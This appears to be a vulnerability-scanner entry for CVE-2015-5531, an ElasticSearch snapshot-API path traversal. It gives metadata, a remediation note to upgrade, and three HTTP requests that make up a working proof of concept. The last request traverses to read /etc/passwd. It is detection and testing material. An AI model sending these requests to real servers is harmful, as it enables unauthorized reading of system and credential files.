| Title | ElasticSearch <1.6.1 - Local File Inclusion |
|---|---|
| Author | princechaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. |
| Remediation | Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.91581 |
| CVE ID | CVE-2015-5531 |
| CWE ID | CWE-22 |
| Fofa Query | index_not_found_exception |
| Tags | cve2015 cve vulhub packetstorm elasticsearch intrusive vkev vuln |
ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
PUT /_snapshot/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Content-Length: 107
Accept-Encoding: gzip
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
PUT /_snapshot/test2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Connection: close
Content-Length: 125
Accept-Encoding: gzip
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-5531.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-5531.pcap
N/AN/A